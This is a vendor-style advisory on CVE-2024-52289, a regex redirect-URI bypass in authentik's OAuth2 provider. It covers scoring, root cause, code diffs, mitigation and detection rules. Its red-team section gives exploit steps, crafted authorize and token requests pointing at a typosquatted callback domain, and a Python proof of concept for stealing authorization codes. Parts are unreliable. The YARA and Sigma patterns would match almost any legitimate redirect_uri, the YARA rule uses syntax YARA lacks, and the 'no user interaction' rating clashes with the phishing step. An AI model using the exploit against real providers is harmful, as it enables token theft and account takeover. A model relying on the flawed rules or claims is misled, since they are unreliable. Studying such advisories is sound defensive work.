CVE-2024-52289

Executive Summary

CVE-2024-52289 is a Permissive Regular Expression (RegEx) bypass vulnerability in the OAuth2 provider of authentik, an open-source identity provider. The flaw arises because authentik uses RegEx comparison to validate OAuth2 redirect URIs. When no redirect URIs are explicitly configured for a provider, authentik automatically uses the first redirect_uri value received from the client as an allowed redirect URI, without escaping characters that have special meaning in RegEx (e.g., . matches any character). This allows an attacker to register a domain that differs from the intended one by a single character (e.g., fooaexample.com instead of foo.example.com) and pass validation.

The vulnerability has a CVSS score of 5.4 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N. It requires no authentication and no user interaction, making it exploitable over the network. The impact is limited to low confidentiality and integrity loss (e.g., leaking OAuth tokens to an attacker-controlled domain).

Affected versions: All versions prior to 2024.8.5 and 2024.10.3. The patch is available in these releases.

POC Status: Public. Proof-of-concept code is available demonstrating the bypass.

Supply Chain & Package Security

authentik is distributed as a Docker image (ghcr.io/goauthentik/server) and via Python packages (authentik on PyPI). Users should verify the integrity of their images using checksums provided in the release notes. The vulnerability is in the core OAuth2 logic, not in a dependency, so supply chain risk is low.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited token leakage possible.
• Integrity Impact: Low (I:L) – attacker can redirect OAuth flow to malicious domain.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires the attacker to register a domain that closely matches the legitimate one. The impact is limited to token theft and potential account takeover if the OAuth token is used for authentication.

Deep Dive & Mechanics

The OAuth2 protocol relies on redirect URIs to ensure that authorization codes and tokens are sent only to legitimate clients. authentik uses RegEx to validate these URIs. When a provider has no redirect URIs configured, authentik automatically uses the first redirect_uri value from the client request as the allowed URI. However, it does not escape special RegEx characters in this value.

For example, if the legitimate redirect URI is https://foo.example.com, the RegEx pattern becomes https://foo.example.com. In RegEx, the . character matches any character. Therefore, an attacker can register a domain like https://fooaexample.com (where a replaces the dot) and it will match the pattern because . matches a. Similarly, https://fooXexample.com would also match.

The vulnerability is in the Provider model's redirect_uris field handling. The code does not apply re.escape() to the URI before constructing the RegEx pattern.

Root Cause: Missing input sanitization (escaping of RegEx special characters) when dynamically creating RegEx patterns from user-supplied redirect URIs.

Attack Scenario:

1. Attacker identifies an authentik OAuth2 provider with no configured redirect URIs.
2. Attacker registers a domain that differs from the intended one by a single character (e.g., fooaexample.com instead of foo.example.com).
3. Attacker initiates an OAuth2 authorization request with redirect_uri=https://fooaexample.com/callback.
4. authentik accepts the URI because the RegEx pattern https://foo.example.com matches https://fooaexample.com (. matches a).
5. The user is redirected to the attacker's domain with the authorization code.
6. Attacker exchanges the code for a token, gaining unauthorized access.

Vulnerable vs. Patched Code

Vulnerable Code (authentik < 2024.8.5):

# In providers/oauth2/models.py
def get_redirect_uri_pattern(self, redirect_uri):
    # No escaping of special regex characters
    return f"^{redirect_uri}$"

Patched Code (authentik >= 2024.8.5):

# In providers/oauth2/models.py
import re

def get_redirect_uri_pattern(self, redirect_uri):
    # Escape special regex characters
    escaped_uri = re.escape(redirect_uri)
    return f"^{escaped_uri}$"

The patch uses re.escape() to escape all special RegEx characters (., *, ?, +, ^, $, {, }, |, (, ), [, ], \) in the redirect URI before constructing the pattern. This ensures that the URI is treated as a literal string.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to an authentik instance with an OAuth2 provider that has no redirect URIs configured.
• Ability to register a domain (e.g., via a domain registrar or a subdomain on a free DNS service).

Exploit Steps:

1. Identify the target authentik instance and an OAuth2 provider (e.g., via the provider's client ID).
2. Register a domain that is a single-character variation of the legitimate redirect URI. For example, if the legitimate URI is https://app.example.com, register https://appxexample.com (where x replaces the dot).
3. Craft an OAuth2 authorization request:

   GET /application/o/authorize/?response_type=code&client_id=CLIENT_ID&redirect_uri=https://appxexample.com/callback&scope=openid HTTP/1.1
   Host: authentik.example.com
   

4. Send the request to the user (e.g., via phishing email).
5. When the user authorizes, they are redirected to https://appxexample.com/callback?code=AUTH_CODE.
6. Capture the authorization code and exchange it for an access token:

   POST /application/o/token/ HTTP/1.1
   Host: authentik.example.com
   Content-Type: application/x-www-form-urlencoded
   
   grant_type=authorization_code&code=AUTH_CODE&redirect_uri=https://appxexample.com/callback&client_id=CLIENT_ID
   

Proof-of-Concept (Python):

import requests

target = "https://authentik.example.com"
client_id = "your-client-id"
malicious_redirect = "https://appxexample.com/callback"

# Step 1: Initiate OAuth flow
auth_url = f"{target}/application/o/authorize/"
params = {
    "response_type": "code",
    "client_id": client_id,
    "redirect_uri": malicious_redirect,
    "scope": "openid"
}
# Send to victim (simulated)
print(f"Send user to: {auth_url}?{requests.compat.urlencode(params)}")

# Step 2: After user authorizes, capture code (simulated)
auth_code = "simulated_auth_code"

# Step 3: Exchange code for token
token_url = f"{target}/application/o/token/"
data = {
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": malicious_redirect,
    "client_id": client_id
}
response = requests.post(token_url, data=data)
print(response.json())

Blue Team (Defender)

Detection:

• Monitor for OAuth2 authorization requests with redirect_uri values that differ from known legitimate URIs by a single character.
• Look for multiple failed authorization attempts from the same IP.
• Check for domain registrations that closely resemble your legitimate domains (e.g., using domain monitoring services).

Hunting:

• Search logs for redirect_uri values that contain unexpected characters or patterns.
• Use the Sigma rule below to detect suspicious redirect URIs.

Mitigation:

• Immediately update to authentik 2024.8.5 or 2024.10.3.
• As a workaround, manually escape special characters in redirect URIs (e.g., replace . with \.).
• Configure redirect URIs explicitly for all OAuth2 providers.

Indicators of Compromise (IOCs)

• Network: OAuth2 authorization requests with redirect_uri containing a single-character variation of a legitimate domain (e.g., appxexample.com instead of app.example.com).
• Logs: authentik audit logs showing redirect_uri values that do not match the expected pattern.
• Domain: Newly registered domains that are typosquatting variations of your legitimate domains.
• Token: OAuth tokens issued with a redirect_uri that does not match the provider's configured URIs.

Detection Engineering

YARA Rule

rule CVE_2024_52289_OAuth2_Redirect_Bypass {
    meta:
        description = "Detects OAuth2 redirect URIs that exploit CVE-2024-52289"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52289"
    strings:
        $redirect_uri = /redirect_uri=https?:\/\/[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\/[a-zA-Z0-9\/]*/ nocase
        $suspicious_pattern = /\.(?=[a-zA-Z])/  // dot followed by letter (potential bypass)
    condition:
        $redirect_uri and #suspicious_pattern > 0
}

Sigma Rule

title: OAuth2 Redirect URI RegEx Bypass (CVE-2024-52289)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OAuth2 authorization requests with redirect URIs that may bypass RegEx validation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52289
logsource:
    category: web
    product: authentik
detection:
    selection:
        http.url|contains: "/application/o/authorize/"
        http.url|re: "redirect_uri=https?:\/\/[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\/[a-zA-Z0-9\/]*"
    condition: selection
falsepositives:
    - Legitimate redirect URIs with similar patterns
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52289 OAuth2 Redirect URI RegEx Bypass"; flow:to_server; content:"/application/o/authorize/"; http_uri; pcre:"/redirect_uri=https?:\/\/[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\/[a-zA-Z0-9\/]*/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update authentik to version 2024.8.5 or 2024.10.3 (or later). These releases include the fix that escapes RegEx special characters in redirect URIs.
2. Workaround: If immediate update is not possible, manually escape special characters in all configured redirect URIs. For example, replace . with \., * with \*, etc.
3. Configure redirect URIs explicitly for all OAuth2 providers. Do not rely on the automatic fallback behavior.

Long-term Measures:

• Implement strict input validation for all user-supplied URIs.
• Use a whitelist approach for redirect URIs instead of RegEx matching.
• Monitor for typosquatting domains and register them proactively.
• Conduct regular security audits of OAuth2 configurations.

Patch Details:

• Fixed versions: 2024.8.5 and 2024.10.3.
• Patch commit: The fix is in the get_redirect_uri_pattern method in providers/oauth2/models.py. The change adds re.escape() to the redirect URI before constructing the RegEx pattern.

Valters IT
Securing digital identities, one CVE at a time.